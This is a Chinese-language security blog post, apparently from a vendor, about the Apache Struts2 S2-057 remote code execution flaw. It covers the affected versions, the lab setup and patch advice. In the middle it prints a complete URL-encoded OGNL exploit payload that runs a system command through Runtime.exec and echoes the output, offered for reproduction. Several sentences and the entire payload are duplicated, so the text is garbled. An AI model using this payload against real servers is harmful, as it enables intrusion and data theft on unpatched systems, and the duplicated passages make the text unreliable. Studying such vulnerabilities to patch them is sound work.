S2-057漏洞,于2018年8月22日被曝出,该Struts2 057漏洞存在远程执行系统的命令,
尤其使用linux系统,apache环境,影响范围较大,危害性较高,如果被攻击者利用直接提权
到服务器管理员权限,网站数据被篡改,数据库被盗取都会发生。
目前我们SINE安全对该S2-057漏洞的测试,发现受影响的版本是Apache Struts 2.3–Apache
Struts2.3.34、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已经紧急的
对该S2-057漏洞进行了修复。
Struts2.3.34、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已经紧急的
对该S2-057漏洞进行了修复。
通过国外曝出来的漏洞poc,我们来介绍下Struts2漏洞该如何的利用:
S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过
滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,
以及系统命令到服务器系统中去。
滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,
以及系统命令到服务器系统中去。
我们首先来搭建下struts2的环境,找一台windows服务器,使用一键部署工具部署好测试环境,
vulhub环境也搭建好如下图:
vulhub环境也搭建好如下图:
接下来就是Struts2漏洞的利用与复现过程:
访问网站192.168.0.3:7080/struts2/${(sine+sine)}/actionChain.action
将${(sine+sine)}里的内容换成exp,EXP内容如下:
%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c
%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream(
)%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.Buf
feredReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c
%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().get
Writer()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.acti
on
%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream(
)%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.Buf
feredReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c
%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().get
Writer()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.acti
on
复制exp内容到浏览器执行,发现服务器会直接运行计算器如下图:
S2-057漏洞修复建议:
升级到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17,直接升级即可官方
已经做好漏洞补丁,完全兼容。
升级到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17,直接升级即可官方
已经做好漏洞补丁,完全兼容。